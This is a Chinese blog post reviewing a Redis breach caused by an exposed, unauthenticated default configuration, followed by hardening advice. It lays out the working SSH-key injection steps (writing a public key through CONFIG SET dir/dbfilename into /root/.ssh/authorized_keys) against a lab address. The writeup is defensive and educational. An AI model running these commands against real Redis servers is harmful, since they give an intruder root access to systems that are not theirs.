2019 三月 25 , 星期一
Home / 系统环境 / linux / redis 漏洞 事故总结

redis 漏洞 事故总结

事故起因
合并uc数据方案采用本地临时redis-server存储id,脚本和临时数据存储在同一台服务器导致单台服务器内存不足 redis-server挂机.
于是开启crontab-3机器 作为临时redis-server,由于对redis的漏洞没有相关的了解和没有相关安全意识,使用了redis的默认配置
导致该台服务器被黑客入侵

事故原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器

漏洞利用条件
redis服务以root账户运行
redis无密码或弱密码进行认证
redis监听在0.0.0.0公网上

案例分析(利用漏洞方式总共分为2种 命令注入,密钥注入.以下为密钥注入案例)
服务器ubuntu 14.04 lts
redis-server 2.8.4 ip 172.16.143.141 port 6379
非server版本开启permitRootLogin

步骤一
生成公钥

步骤二 (连上redis客户端)
将公钥写入key
set aa “\n\n\nssh-rsa ********************* frank@franktekiMacBook-Pro.local\n\n\n”
设置redis备份地址
config set dir /root/.ssh/
设置备份文件名
config set dbfilename authorized_keys
保存
save

步骤三
ssh 172.16.143.141 直接登陆root无需密码

事故总结于防范
线上操作要有安全意识
redis服务尽量不要暴露在外网中
配置auth密码
禁止root启动redis服务
修改默认端口6379

Check Also

(工作小记)phpredis Redis::SERIALIZER_IGBINARY 自增字段

最近项目中的统计出现了问题,统 ...

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>